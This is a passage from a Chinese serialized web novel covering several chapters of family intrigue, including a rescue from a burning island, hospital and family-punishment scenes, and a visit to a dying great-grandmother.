刚才屋里人多,真闹起来不好看,她又不是真傻,没必要为了一点小事成为众矢之的。 “敷……”二婶娘从未见过这么诡计多端的刺头,一时没反应过来,“这怎么行?” “有什么不行的?”姜花衫摆摆手,“二婶娘就不用管我了,我这人啊,不服管教的。” 夜风拂过廊下,吹动她额前的碎发,生动的笑脸在这微颤的光影里勾得人挪不开眼。 二婶娘一时看失了神,等反应过来姜花衫已经穿过游廊不见踪影。 她心中思量不定,刚转身又吓了一跳,沈兰晞不知道什么时候突然在她身后,他的目光深沉,却又不像往日那般冰冷。 “兰晞,你怎么出来了?” 沈兰晞转眸,目光落回的时候立马覆上了一层寒霜。 “婶娘看出什么了?” 二婶娘摇了摇头,“之前看衫衫泡茶的视频我几乎可以断定,老爷子必然是请人专门教导过她。但……今天见了本人,才知道是看走了眼。沈家规矩森严,若是教成这样还不如不教。” 沈兰晞眸光微沉,没有接话,点了点头,转身准备进屋。 “不过……” 身后之人忽然又道,“但她总给我一种很熟悉的感觉,看似行为无状,但实际每一步都无礼地刚刚好。能做到这种地步,不是有大智慧就是太懂规矩,她才二十岁,怎会如此?” 沈兰晞身体微顿,一只脚踩在明暗交界之间。 不是二十岁,是十二岁。 十二岁她就敢拿枪指着他的额头叫嚣发疯,当时只道她是没规矩,眼下一语道破天机,原来是太懂规矩。 * “不对!总感觉有什么地方怪怪的。” 姜花衫出了主厅直奔武太奶的后院,这一路上,她一直都在复盘宴席所有人的反应,其中,二婶娘简直可疑地过分,全程就像个暗哨一样盯着她。 难道是老宅这边又有什么新剧情,有人要打她的主意? 姜花衫不敢大意,拿出手机打给了傅绥尔话。 两人简单交换了各自的情报,傅绥尔听闻武太奶昏睡了一天还没醒,不免有些担忧。 “衫衫,今天五叔那边还是没有消息,我还要继续等吗?” 姜花衫立身于空旷的庭院中央,望着天上的星辰发呆。 “等,越是这个时候,越要沉住气。” * 荒岛的大雨下了一夜。 阳光艰难地穿透云层,形成几道光柱,斜斜插入密林与水泽之间。 光束中,悬浮的水汽清晰可见。 周宴珩因为伤口感染,从后半夜开始一直在发烧。 这个节骨眼,若是沈眠枝还不想办法寻找救援,‘规则’一定会有所察觉,所以,雨一停,她便跑出红树林寻找机会。 沈家暗卫的暗号有很多种,她情急之下摆错应该也能理解吧? 沈眠枝拖着疲惫的身体,十分艰难搬运着浅滩里的礁石,正想着弄个什么暗号,忽然鼻尖闻到了一股焦味。 她顿时脸色大变,转身看向身后的红树林,一股黑烟直冲云霄。 那黑烟不是一缕缕,而是滚滚的、遮天蔽日的、如同地狱深渊里喷涌出来的黑色巨浪! 沈眠枝的心脏猛地一沉,拔腿跑进红树林。 “阿珩……” 她气喘吁吁,在滚滚浓烟中搜索了许久才看见蜷缩在树洞里的周宴珩。 她捂着狂跳不止的心跳,小心翼翼蹲下身,“阿珩哥,怎……怎么会起火了?” 周宴珩把玩着手里的打火机,即使憔悴也不减恶劣,“我放的。至于吸引来的是绑匪还是救兵,就看运气了。” 沈眠枝脸色煞白,一直不知道说什么。 周宴珩笑了笑,轻轻扣住她的手腕。 “你不是说不会丢下我吗?那就跟我一起赌……” “赌输了,就一起死。” …… 第693章 重见天日 鲸鱼岛。 “伯父,听说有座荒岛突然爆发浓烟,是不是沈小姐有线索了?” 苏灼闯进小木屋时,沈让正收拾东西准备出门,要不是沈让及时止步,两人差点迎面撞上。 “急什么?慌慌张张的像什么样子?一点都沉不住气。” 苏灼收敛神色,一脸期待看着沈让,“伯父,我想跟您一起去看看。” 这两天他为了找人几乎没有闭过眼,眼底乌青,胡子拉碴,哪还有世家贵公子的模样? “昨晚雷雨交加,说不定是闪电劈歪了引起的大火,未必是枝枝。都找了这么久了,还是要有平常心。” 沈让一边说,一边哆嗦着手整理枪袋,奈何他的双手像是得了帕金森一样,最后一个暗扣怎么都扣不上。 苏灼不语,上前拿起银色锁扣,咔得的一声复位。 “伯父说的是。” 沈让,“……” * 某荒岛。 火势起得迅猛,近乎蛮横,不到半小时,整座岛屿已经被浓烟包裹,像是浮在碧波上的一团黑雾棉絮。 起火时沈清予正好在附近搜索,给塔台发送信号后,他干脆直接降落荒岛。 “调高压水枪!让直升机梯队准备索降!” 浅滩处停泊着三艘橙色消防船,船舷两侧的水炮同时扬起,在半空织成银亮的水网。 虽然是荒岛,但如果不控制火势,这里很快就会夷为平地。 公海舰队、警署厅的公职人员穿着橙色防火服进进出出,现场热浪翻滚,裹挟着燃烧的树皮火星,连空气都被灼烤得扭曲变形。 顾赫:“少爷,咱们还是回去等消息吧。” 火势太大,他们并非专业救援人员,留在这并非明智之举。 沈清予只当没听见,依靠着暗礁眯眼打量岛上的情况。 忽然,他眼睛一亮,蹲下身检查脚下的礁石。 被搬动过。 看这拖移的痕迹,还是不久前才动的。 这岛上有人? 沈清予转头看向密林,脸色瞬间变得凝重。 “清予!” 沈让和苏灼赶到时,荒岛的火势基本已经得到控制,沈让用手掸了掸眼前的灰尘,小跑到沈清予跟前,四处环顾,“是不是有什么发现?” 沈清予捏了捏手里的细沙,转头看向面前的红树林,“有人。” 他话音刚落,密林里忽然亮起一束探照灯。 光影中隐约能看见几道被烈火烧变形的黑影。 “枝枝……”沈让眼瞳微缩,哆嗦着身体向浓雾里冲去。 黑影缓缓移动,渐渐有了轮廓。 沈眠枝支撑着救助人员的身体,净白的脸上满是黑烟。 沈让只觉眼眶酸涩得不行,朝她大喊,“枝枝!” 沈眠枝听见熟悉的声音,怔愣片刻,在黑雾里寻找声音的主人。 目光对上的那刻,沈让知道,他失而复得的珍宝又回来了,刚止住的眼泪顷刻间湿润了眼角。 沈眠枝笑了笑,用力朝沈让挥手,噙在眼里的珠光晃动不止。 黑雾中的少女一挥手,眼前所有的事物都变得虚化。 苏灼的手指不停在颤抖,不受控制向她跑去,刚走两步,身后的衣领忽然被人揪住。 “你眼瞎啊?”沈清予凤眸微眯,若有所思盯着浓雾里的另一道身影。 苏灼愣了愣,顺着沈清予的视线看去。 氤氲在空气里的黑色飞尘忽然像是静止了一般,另一道匍匐在救援人员身上的黑影逐渐清晰起来。 沈眠枝神情激动扑进沈让的怀里,还没说上两句话,便急不可待向沈让说起了她这两天的经历。 “爸爸,幸好阿珩哥想到烧树这个方法,要不然我都不知道还能不能见到你。” 沈让的表情一下凝固,片刻后才缓了过来,转头打量周宴珩。 周宴珩此时极度虚弱,又因为吸入了大量飞尘近乎气游若丝。 沈让看着沈眠枝欢欣雀跃的神态迟疑了一秒,勉强笑了笑,“枝枝,阿珩状态不太好,先把人送回去。” “阿珩哥。”沈眠枝有些不舍,转头拉着周宴珩的胳膊,用力晃动,“阿珩哥,你没事吧?快醒醒,你看,我们赌对了。” 救援人员实在看不下去,提醒道,“小姑娘,你别晃了,再晃他就没命了。” 沈眠枝只当没听见,强拽着周宴珩的胳膊,“阿珩哥,说好的我们一起出来,你不能食言啊。” 救援人员无语,这沈家小姐是听不懂人话吗? 沈让看不下去,一把将沈眠枝拽了回来,“你们赶紧把人带走。” 沈眠枝还是‘依依不舍’,目光死死跟随着周宴珩。 “好了!”沈让有些吃味,不满道,“找了你这么久,你就没什么跟爸爸说的?怎么眼睛跟黏在周宴珩身上一样?” 沈眠枝沉默片刻,转身搂着住沈让的胳膊,“当然有,爸~这次让你担心了。” “岂止是我,全家人都疯了,还有……”沈让忽然想到什么,神色复杂,转头看向身后的暗礁,但浓雾里除了沈清予,已经没有了另一道身影。 沈让瞬间明白什么,轻叹了一声摸了摸沈眠枝的头,“回家,老爷子来在家里等着你。” “好。” 沈眠枝跟着沈让退回暗潮,见沈清予也在,主动示好,“清予哥,你也来了?谢谢……” 沈清予冷冷看了她一眼,“早知道你脑残的毛病还没有好,我就不来凑热闹了。” “沈清予!!”沈让瞬间变脸,怒气冲冲指着他,“你小子有本事再说一次。” “爸。”沈眠枝赶紧拉住沈让,小声道,“清予哥就是这性子,我们还在先回去,爷爷还等着我们呢。” 沈清予冷哼了一声,跳上飞机随后关上舱门。 “走。浪费时间。” “沈清予!臭小子!!” 暗堂虽然也派了直升机,但沈清予的直升机是商务专机,舒适度没法比,眼看着沈清予就这么明目张胆飞走了,沈让气得差点喷出一口老血。 沈清予翘着二郎腿,隔着玻璃低睨着脚下的风景,沈让在原地又蹦又跳,嘴巴张张合合,一看就骂的很难听。 他冷笑了一声,转头打量起一旁的沈眠枝。 雾霭浓浓,她脸上神情已经模糊不清。 “少爷,咱们就这么走了?” “人都已经找到了,不走留下来过年?” “……”顾赫凝噎片刻又问道,“那,咱们现在回沈园?” 沈清予跟个炮仗似的,“去沈园还得被老头子念叨,去干嘛?” “那?就先这么飞着?” “……”沈清予被气笑了,闭眼把玩着手里的礁石,“去襄英。” …… 第694章 邪门CP:关关雎鸠 鲸港协和医院。 “什么?!!” 关鹤前一秒还像个木乃伊有气进没气出,一听说周宴珩找到了,立马像打了鸡血斗牛士,蹭得一下坐了起来。 “哈哈!我就说他没那么容易死,人在哪呢?带我去看看。” 乔金锦慢条斯理削着手里的苹果,“已经转去重症室了,他伤的很重。” “伤很重?”关鹤低头看着自己打着石膏的身体,眉毛拧成了一团麻花,“比我还重?” 乔金锦抬头,脸色不算太好,“你好歹配件一个没少,阿珩中了三枪,又耽误了最佳救治时间,医生说有可能要截肢。” “这群狗日的绑匪!!!”关鹤挣扎着要起身,但扭了半天还是纹丝不动。 被自己这蠢样子气笑了,关鹤黑着脸,对着乔金锦噗了一声,“你他妈好歹过来搭把手啊?” 乔金锦抬起一根手指,压着他的肩膀把人戳进了被窝。 “艹!” “你急什么,我话好没说完。周家原本要签署截肢方案,但阿珩中途醒来说什么都不同意,他坚持就这么治,活不了就算了。” 关鹤脸色极度难看,“他那么骄傲的人要没了腿,不是要他的命吗?那现在呢?” 乔金锦放下水果刀,把削好的苹果递给关鹤。 “还在抢救,暂时还没有脱离危险。” “要不是我去招惹姜花衫,就不会被捉弄扔进海里,要是没有被丢进海里,那群绑匪也就不会盯上我,如果我好好的,阿珩也不会为了找我被人盯上。” 关鹤死死咬着牙,低眸看着手里的苹果,“都是……” 乔金锦知道他心里不好受,轻叹了一声,“这个时候,你也别怪自……” 他抬头,恶狠狠盯着前方,眼丝通红透着血光。 “都是姜花衫的错!!!那个狗憋东西,每次遇上她就没好事,等着瞧!阿珩要是有什么三长两短,老子非找她偿命!!” 乔金锦,“……” “你要找谁偿命?” 关楼累了一天,人还没缓过神就赶来医院,没想到刚踏进病房就看见孽畜作妖。 关鹤吸了吸鼻子,“爸,阿珩快死了。” 关楼深吸了一口气,努力让自己保持冷静。 乔金锦主动起身,“伯父,我还要去看看阿珩,先告辞了。” “辛苦你了。” 关楼看着乔金锦英姿勃发的背影,不觉流露出艳羡的神情。 听说乔家这小子已经拿到了KING-33战机的首飞名额,乔家这军途是稳了。 “爸,我话还没问完,你怎么这个点来了?” 关楼额角跳了跳,转头看着眼前的倒霉玩意,都是生儿子,怎么偏偏他命运多舛? 关鹤对于关楼的嫌弃已经麻木了,“你看我做什么?” 关楼闭了闭眼,抬步走到病床前,沉默片刻才缓缓落座。 “之前,你交代遗言的时候说,你在银星保险柜存了点东西。” 关鹤原本还老神在在,听了这话,瞬间汗毛倒竖,惊恐万分看向关楼,“爸……你该不会……” 那保险柜藏着他这几年和周宴珩开地下赌庄的所有盈利,还有各种买地圈钱的记录。 当时他以为自己要死了不得已才透露的。 关楼眼神平静,“我一直觉得你是个平庸之辈,平庸就平庸吧,关家走到今天,只要你不是智障,家里还是能撑得住。” 关鹤咽了咽嗓子,冷汗直流。 “但我是万万没想到啊,你是个奇才啊!能把家族事业一朝弄垮的奇才!沈家千年门楣,百年荣耀,沈让都要夹着尾巴做人!你厉害啊!初生牛犊不怕虎,圈地开赌城,买卖军火私囤兵械,哪个罪名大你弄哪个!你干嘛?你想造反啊?还是想把你老子活活气死?” 关鹤当然知道这是顶级反讽,低着头不敢申辩。 不管地下赌城能赚多少钱,终究上不了台面。 关楼现在是国会副议员长,若是他做的这些事被曝光,别说他的仕途保不住,连关楼都可能被送进监狱。 这件事涉及到家族存亡要害,否则关鹤也不会被姜花衫要挟畏手畏脚。 “这件事,周家那小子是主谋?” 关鹤原本一直缩着头,听见要问罪,立马来了精神,“不是,我俩是同谋。” “同谋?”关楼冷笑,“要不是我知道你有多废,差点就相信了!事到如今,你还要隐瞒?” 关鹤,“……” “你该庆幸你现在不能伤的不能再伤了,否则你该知道后果。阿鹤,我再问你一遍,这件事主谋是谁?” 关鹤低头不语。 关楼失望至极,冷着脸起身,“你确定没有什么和我说的?” 关鹤犹豫片刻,举起手里氧化发黑的苹果,“爸,消消气。” “……”关楼强行忍住打死他的冲动,掉头出了病房。 砰得一声巨响,病房的门彻底关上。 关鹤等了一会儿,没听见什么动静,立马大舒了一口气。 幸好关家就他一个命根子,不然今天这条小命就要交代在这了。 “叩叩——” 没等他高兴两秒,房间门再次打开。 一群穿着白色大褂的医生护士推着推车陆陆续续走了进来。 怎么这么多人? 关鹤只疑惑了一下并未在意,“你们来的正好,我感觉好多了,我现在要出去放风,给我安排个轮椅。” “您暂时还不能出去。” 关鹤顿感不妙,喉头发紧,“你们想干什么?” 话音刚落,一群人围了上来,其中一人拿起手术刀直接划开了他的裤裆, “不要命了?知不知道我是谁?”关鹤脸色发白,大骂,“我艹你大爷的, 敢强老子?!” 为首的人愣了愣,眉毛抽动,“关少爷误会了,是关总交代,让我们务必留下最强劲的关家血脉。” 老头子这是要…… 去父留子? 关鹤吓得手指脱落,绝望看着头顶。 …… 第695章 孬种才演三流剧本 苏宅。 苏管家一早守在小西楼外,远远看见苏灼立马迎了上去,还没开口先愣了愣。 “少爷,您怎么弄成这副模样了?” 苏灼笑了笑,是啊,怎么把自己弄成了这副模样?! 苏管家不便多说,侧身看向西楼主厅,意有所指,“少爷,老爷子和先生在里面等您。” 苏灼收敛了笑意,点头,“我先去收拾一下。” 他现在这么狼狈,爷爷若是看见了说不定还得记恨沈家。 “少爷……”苏管家略有为难,“老爷子说了,让您回来立刻去见他。” 苏灼沉默片刻,抬步往西楼主厅走去。 偌大的主厅零零散散坐着几道人影,气氛异常凝固。 苏敬琉坐在鎏金西式沙发上,手里的咖啡早已见底;苏莘脸色冰冷气息沉重,苏夫人不时往门外张望,又不时看向主位两人,担忧之色溢于言表。 苏妙和苏韵坐在末端,各自沉默。 苏灼踏入主厅,一抬眸就看见眼前这一幕,他脚步微顿,迟疑片刻慢慢走到主厅中央。 “爷爷。” 苏敬琉闭了闭眼,取下金丝老花眼镜,布满皱纹的眼里全是血丝。 “跪下。” 苏灼低头,扑通跪下。 苏夫人不忍,捂着心口撇过头。 苏敬琉盯着苏灼上下打量,眼里满是讥诮,“我们苏家的英雄回来了?怎么把自己搞的这么狼狈?人家当英雄还能给家里扛块匾回来,你呢?匾没有,上赶子的帽子倒有一顶。” “……” 苏妙眼皮跳了跳,老爷子这也骂的太难听了,自家孙子下嘴都这么狠? 苏灼没有辩解,对着苏敬琉重重磕了三个响头,“任凭爷爷处罚。” “处罚?”苏敬琉皮笑肉不笑,“有错当罚,你觉着自己有错吗?” 苏灼俯身,没有回答。 苏敬琉眼里的情绪瞬间沉到了谷底。 打从苏灼进门第一眼,他就知道这孽障死性未改。处罚也好,家法也罢,最终目的是为了杜绝再犯,但若是苏灼不认错,罚的再狠,骂的再难听依旧于事无补。 苏夫人见苏灼宁愿跪地伏身都不愿意认错,哽咽道,“阿灼,快跟你爷爷认错,你糊涂啊,前途不要家族名声不要,就为了沈家一个外人?” 苏灼皱眉,直起身,“妈,这是我的事,您别牵扯旁人。” 苏夫人没想到这个时候苏灼竟然还帮着沈眠枝说话,气得差点当场晕厥。 “好!好!你的事,你的事我也管不了!”说着,直接起身出了主厅。 苏灼从小到大一直循规蹈矩,除了爱吃基本没让苏夫人操过心,一时有些愧疚,转头看向苏妙,苏妙直接翻了个白眼。苏灼只能又转头看向苏韵,苏韵思忖片刻,起身跟了出去。 苏敬琉冷哼了一声,“原来你还知道顾念你母亲?” 苏灼再次俯首,对着苏敬琉又磕了三个响头,“爷爷,临阵脱逃的是我,为了一己私欲让家族蒙羞的也是我,我愧对你们这么多久年的栽培和教养,您要怎么罚我都认。” “唯独,不要牵扯旁人。” 苏莘实在看不下去了,站起身对着沈灼一脚踹了过去,这一脚力度不轻,苏灼因体力不支一时没稳住重重撞倒在地,砰得一声巨响,吓得苏妙寒毛都竖了起来。 “不要牵扯旁人?” 苏莘怒不可遏,指着苏灼,“你有什么资格跟我们说这种话?你小叔叔为了守住西湾,经历无数场刺杀,到现在还没有成家,为了把你送上空舰,你爷爷花了多少心力?临门一脚,你说不要就不要了?苏灼?如果你承担不起,为什么一开始不说,为什么要等大家对你倾注了所有心血才辜负?” “违背家族之命甘愿与全世界为敌,只为奔赴心中所爱,你觉得你很了不起吗?” “苏灼,我告诉你,你的喜欢什么都不是,比垃圾都不如,我要是沈家,我也看不上你。” 苏灼脑子顿时空白,一直压抑在心中的愤懑像是火山爆发,一发不可收拾。 他死死攥紧拳头,空白的记忆忽然显现出沈眠枝拉着周宴珩欢欣鼓舞的样子。 “为什么……” 为什么他的喜欢就是垃圾?他摇了摇头,涣散的眼神染上了开刃的锋锐,“我从来不在乎他们看不看得上!!” “还敢犟?!” 苏莘看着眼前脸红脖子粗的孽障只觉碍眼,反腿对着苏灼又是一脚。 “你不在乎?你不在乎你丢下家族谋划多年的契机去给别人当背景板?我苏莘怎么生出你这么孬的儿子?苏家与沈家怎么也算门当户对,你要真喜欢沈眠枝,原本是可以家族联姻缔结良缘的。” 苏灼神情一愣,眼里的情绪不断翻涌。 “怎么?”苏莘居高临下看着他,“又想说自己看不上?不想娶? 见他不说话,苏莘冷笑,“抛弃家族之恩,奔赴个人小爱,这是三流话本才追捧的剧情!阿灼,孬种才在爱人与家族之前做选择,真正的男人是不做选择的。” “你爷爷倾心余家,你倾心沈家,这本是博弈之争,你赢了爷爷就赢了良缘,输了也是你没本事。但你,不争不抢又不认命,临阵退缩觉得自己一腔孤勇,三流剧本你算是演明白了。” “轰——” 这话犹如惊雷劈石,压在苏灼心中那座大山瞬间碎成齑粉。 他眼里的恨意戾气骤然退散,唯留下一缕清明。 “阿灼,站在权利顶峰就没有退让两个字,你若真有本事,真要行一人之事,赢了父亲和祖父才有说话权,连个小小的首飞资格都拿不到,没有哪个父亲敢把女儿交给你。” 苏莘弯腰,用力拍了拍苏灼的肩膀,这力道重比千斤。 苏灼惭愧,对着苏莘俯身叩首。 苏敬琉端起桌上见底的咖啡,懒懒道,“知道错了?” 苏灼点头,“苏灼认错,绝不再犯。” 苏敬琉点头,“既然知道了,那就开打吧。苏管家,把祖宗的藤条拿来,给我打!重重的打,往死里打!” …… 第696章 有始有终 相比鲸港的波诡云谲,襄英安逸地不像话。 “这么说,枝枝这段时间一直和周宴珩在一起?” 姜花衫坐在院前的枣树下和傅绥尔打电话。 “枝枝是这么说的,她现在已经把周宴珩当成患难与共的亲人了,开口闭口都是周宴珩。”傅绥尔语气里多少带了点抱怨,“我都不想跟她说话了。” 姜花衫没忍住笑了出来,“为什么?” “什么为什么?当然是因为……因为……”傅绥尔想了想,还是不太想说好姐妹的坏话,不满道,“因为我讨厌周宴珩,你说枝枝那么聪明,怎么偏偏着了周宴珩的道?” 月光穿过枣树的缝隙,在地上织出一片碎银似的网。 姜花衫看着地上的网,暗暗叹息。 是啊,那么聪明的人,怎么可能着了周宴珩的道? 现在的沈眠枝今非昔比,她早已不是会任由剧目之门操作的傀儡了,虽然还有一个标签没有脱落,但沈眠枝的意识绝不可能因为一个标签就彻底受困。 姜花衫仰起头,细细打量隐藏在枣树间的点点星光,语气平常,“听说,周宴珩快不行了?” 电话那头,傅绥尔微愣,虽然不知道姜花衫好端端的怎么提起那个瘟神,但她依旧是有问必答。 “嗯,现在还在重症病房没有脱离危险,听我妈说情况不太妙。” 她顿了顿,言语间颇有些无力,“就为了这点破事,沈眠枝那个笨蛋把自己关在房间里哭了一天!” 姜花衫笑了笑,那就是了,上一世周宴珩哪经历过这样的劫难?若不是爷爷直接出手,他不知道还能蹦跶到多少集? 这几日沈眠枝一直和周宴珩在一起,以她的聪慧怎么可能放任周宴珩伤得这么重?所以,她之前猜的没错,沈眠枝的确是故意在拖延时间。 所有人都以为她迷恋周宴珩不能自拔,聪明地她干脆就隐藏在这份迷恋中伺机而动。 不愧是让剧目单开一集的人,干得漂亮~ 但这份默契不宜打破,姜花衫没有点明,直接跳过这个话题,又问道:“韩洋呢?失踪的人质里就剩他没有找到了。” “对了,还有韩洋。”傅绥尔忽然想到什么,悄悄压低了声音,“我偷听我妈和五舅舅谈话才知道,原来警署厅早在一处暗礁滩找到了韩洋的尸首,确认韩洋已经死亡。银星集团董事长因此迁怒A国当局,一纸诉状将教育部、警署厅以及策划这次高校联盟的所有决策高层都告上了法院。” “银星集团掌握了A国百分之六十的新闻媒体传播,这次公诉只怕A国全民都会知晓。偏偏又是在这个节骨眼,余斯文只怕会有麻烦了。” 草根总统没有财团投资,依附的不过是民众的信赖,一旦民众基石倒塌,余斯文的总统生涯也就结束了。 总统大选在即,这次竞争人选大有来头,连关鹤的父亲都在其中,看来,是财团背后有人准备出手了。 不过再怎么争,也与沈家无关。 这次周、关两家得益于老爷子相助,暂时不会恩将仇报。 思及此处,姜花衫无所谓撑了撑懒腰,“都是些沉重的话题,就没有什么好消息吗?” “好消息?”傅绥尔语调一转,轻快不少,“有,鲸港这一堆破事老爷子不想参与,已经定好两日后启程襄英。哈哈哈,我们马上就可以见面了。” 的确是个好消息。 挂了电话,姜花衫又撑了个懒腰,径直往武太奶的房间走去。 刚走到房门口,就听见里面传来极轻的说话声,她顿时一喜,快步跑进屋。 “太奶奶,你……醒了?” 房间中央,武太奶躺在老式的雕花蚊帐床上,沈兰晞坐在床侧正她说话。武太奶听见她的声音立马转过头,见了她,浑浊的眸底闪过点点星斑。 老太太一开始还以为是自己眼花出现了幻觉,揉了揉眼皮发现人影还在,眼里的笑意顿时加深。 “我这不是做梦吧?小花儿来了?” 她比以前瘦了很多,皮肤紧贴着高耸的颧骨和下颌的线条,青蓝色的细小血管隐约可见,在她身上能明显感觉到生命在消散。 “太奶奶。” 姜花衫不觉放轻了脚步,眼角酸涩得不行,但她知道现在不应该哭,便笑了笑,上前轻轻拉过武太奶的手。 “不是梦,不信,您摸摸。” 她的手,细嫩充满生命力,太奶奶的手粗糙形如枯槁,这极致的反差,正好诠释了什么叫生命交叠。 武太奶轻轻拍了拍她的手背,故意打趣,“兰晞刚刚还说要给我一个惊喜,原来就是你呀,好好好,你们乖~” 姜花衫看了沈兰晞一眼,笑了笑,“今天刚到。” 武太奶刚醒,意识还有些昏沉,见了孩子们只觉欢喜,顾不上谁是谁的手,一巴掌全攥在掌心。 两只同样年轻鲜嫩的手掌突然掌心相对,指腹相抵。 姜花衫和沈兰晞同时一愣,姜花衫眼皮直跳,下意识想抽回手。 太奶奶毫无察觉,“太奶奶不知道还能陪你们多久……” 听见这话,姜花衫的手顿时僵硬。 沈兰晞神情微妙,隐隐感觉指尖有些发烫。 老人温声叮咛,“一家人最重要的是和和气气,看见你们相亲相爱,太奶奶就算是死也瞑目了。” 姜花衫放弃了抵抗,闷声道,“太奶奶,好端端的干嘛咒自己?” 老太太笑了笑,行将枯木的脸上是行走了一个世纪的豁达。 她说,“有生就有死,就像万事规律有始必有终。到太奶奶这个年纪,死不是诅咒,是我生命的终点。我走了,你们也不必为我难过,就像送走每一年的四季一样,把它当做你们人生中的一次经历体会,不必过于执着。” “太奶奶……” 沈谦和沈渊听说武太奶醒了,连忙赶过来看望,没想到一进门就看见姜花衫和沈兰晞手拉着手,十分亲密的样子,当场愣在原地。 武太奶正说话,冷不丁被人打断,眯着眼打量眼前两人,看了半天,一头雾水,“你们,是谁家的?” 沈谦、沈渊:“……” …… 第697章 时空错乱的叮嘱 煽情的气氛忽然被打破,姜花衫立马回过神,嗖得一下抽回手。 “……” 速度之快,沈兰晞完全反应不及,他掀眸看了姜花衫一眼,默默轻挠掌心。 沈谦将两人的互动看在眼里,目光暗了几分。 沈渊挤进屋,主动凑上前自我介绍,“太奶奶,是我啊,小渊,小时候您还抱着我在门口摘枣树呢?您不记得了?” “小渊?”武太奶凝神想了想,又盯着他的脸琢磨了许久,点点头,“我想起来了。” “想起来了?”沈渊一脸亲切。 武太奶,“你怎么一下变得这么老了?” 沈渊刚咧开的嘴角瞬间凝固,他现在可是叔圈天菜,哪里老了? 沈谦慢慢走到跟前,“太奶奶,您能还记得我吗?” 太奶奶眯着眼,又看了许久,摇摇头,“瞧着像小阿谦,但又不像,我的小阿谦还没有那圆凳高呢。” 沈谦脸色微变,从懂事之后,他已经很久没有听见这个称呼了。 幼时他不爱吃饭,虽然是老大,但个子还没有其他兄弟姐妹高,为此他常常躲起来偷哭。 老太太书读的不多,但道理却是一套一套的。 她说,“小谦啊,若是才能没有一开始就显现,后来居上也是可以的。流水不争先,争的是滔滔不绝。” 后来,沈家有了沈玺,他惊艳绝伦,抢走了沈家所有的注视,唯一支撑他的念头便是这句,后来居上。 年幼的记忆让他一时有些恍惚,当年那个给他递糖花的老人与眼前满是皱褶的面容渐渐重合。 沈谦破天荒多了一份温情,点头迎道:“是我。” 负责照顾老太太起居的陪护上前替老人推拿静脉,小声解释,“这半年,武太奶都是这样,一会儿清醒一会儿糊涂的。” 姜花衫侧身让出位置,心道太奶奶才不是糊涂,她只不过是时间混乱了,糊涂的人可记不住他们每个人的模样。 沈谦清咳了一声,“时间不早了,先让太奶奶休息。” 眼下,武太奶已经十分虚弱,哪怕已经睡了一天,说几句话的功夫就已经显露出了疲态。 姜花衫起身,轻轻拍了拍武太奶的手背,“太奶奶,我明天再来看您。” 武太奶点头,“乖。” 沈谦和沈渊一一道别,三人前后脚出了房间。 沈兰晞最后起身,微微点头,正要转身老人一把拉住他的手。 “兰晞啊,都成家了,你这性子怎么还不改啊?小心媳妇跟人跑咯~” 沈兰晞脚步微顿,抬眸看着老人。 武太奶直起身,轻轻拍了拍他的手背,“还跟你爷爷置气?你啊,性子怎么这么傲?不管怎么样,人都已经娶进家门了,你就得负责,就得好好待人家。你若嫌她性子不好可以慢慢教,整天挂着个脸是怎么回事?” 说着,还指了指屋外的方向。 沈兰晞眼睑微动,顺着老太太的目光看去,枣树下正好有一道蹦蹦跳跳的身影。 不等他反应过来,武太奶又拉了拉他的手,语气温和,“太奶奶给你的长命锁你给你媳妇没?” “长命锁?”沈兰晞眸光愈发晦暗。 “你这孩子,老太太千叮万嘱的事都能忘记。你听太奶奶的,女孩子都是要哄的,你别仗着人家喜欢你就搞大男子主义那套,等你媳妇跟人跑了就有你受的了。” 看护见沈兰晞冷着脸一言不发,唯恐他生气,连忙笑着解围,“太奶奶,您又记岔了,兰晞少爷还没结婚呢。” 老太太愣了愣,嘶了一声,“没结婚?” 她忽然想到什么,往身上摸了摸,搜寻无果又往枕头下摸去。 “那我的锁呢?锁去哪了?” 那把锁对武太奶至关重要,摸索了半天不见,老太太神情明显慌了起来,起身准备下床。 这可把陪护吓坏了。 “太奶奶,您慢点。” 沈兰晞弯腰,轻轻按住老人的肩膀,温声道,“太奶奶,那锁您已经送给衫衫了,您忘了?” “衫衫?” 沈兰晞想了想,纠正道,“就是小花儿。” 太奶奶皱着眉,思索片刻,似想起什么连连点头,“是,我想起来了,是送给小花儿了。” 说着,又突然变脸,重重敲了敲沈兰晞的肩膀。 “原本是要送给你媳妇的,谁让你这么不争气。” * “姜小姐,够了吗?” 院里的管事拿了根长杆,打得枣树啪啪作响,带着红斑印记的大枣刷刷落了一地。 “唉哟。” 姜花衫抱着头窜出枣树攻击范围,等到果子都散落,又一脸兴奋钻进树下,“快,拿个篮子过来。” 上一世,她并不懂武太奶的爱护之情,只以为这老太太跟老宅其他人一样不喜欢她,所以,太奶奶弥留之际,她忙着跟沈兰晞置气,并没有回来送太奶奶最后一程。 后来爷爷从老宅回来给她带了一盒红枣,说是太奶奶亲手给她摘的。 老爷子说,太奶奶让他转告她,她不能参加她和沈兰晞的婚礼了,这盒红枣就算她送给她的新婚礼物。 “枣”偕白首,情意如蜜。 也是那时,她隐约明白,自己好像辜负了什么。 圆滚滚的红枣散了一地,姜花衫蹲下身,抬头看了看头顶的密叶。 红枣树可生长百年,结果绵延不绝,上一世太奶奶送她枣是爱护,这一世她摘果送回太奶奶,是圆满。 她和太奶奶的故事,到这个夏天就真正结束了。 姜花衫吸了吸鼻子,正准备捡果子,头顶忽然覆上一道黑影,没等她反应过来,有人捷足先登捡起了她看中的那颗枣儿。 沈兰晞将红枣放进篮筐,看着她的眼睛,“是要送给太奶奶吗?我帮你。” 姜花衫,“……” * 与此同时,两道身影正立在院外廊庑下,静静看着眼前这一幕。 …… 第698章 二房抵达战场 月影晃动。 廊庑下的两人站了许久,才默默退出了院子。 两人并肩,走了一路各自沉默没有说话。 临到分别,沈渊站定,侧眸看向沈谦,见他一直低头思忖,便主动开口,“刚刚进屋我就瞧着不对劲了,现在看,这两人还真有猫腻。” 沈谦抬起头,脸色异常凝重。 沈渊又道,“难怪沈兰晞三番两次替那丫头解围,我还纳闷呢,冰雕一样的人怎么突然有人情味了,没想到竟然是这么一出。大哥,这可不是好事。那丫头得了三房一半资产,又深受老爷子的喜爱,他们两人若连成一气,不等沈兰晞成气候,沈家就已经没有咱们说话的份了。” 这话算是触及到了沈谦的逆鳞。 他隐忍这么多年,若是还输给了沈玺的儿子,不如一头撞死。 沈谦缓缓吐了一口浊气,摇了摇头,“当初老爷子为了让姜花衫入祖籍,不惜开罪沈园所有人,这丫头虽说是挂在沈娇名下,但外头谁不把她当作正经沈家小姐,沈兰晞跟她?这不是乱伦吗?” “就是因为这样,这事才更不得了。” 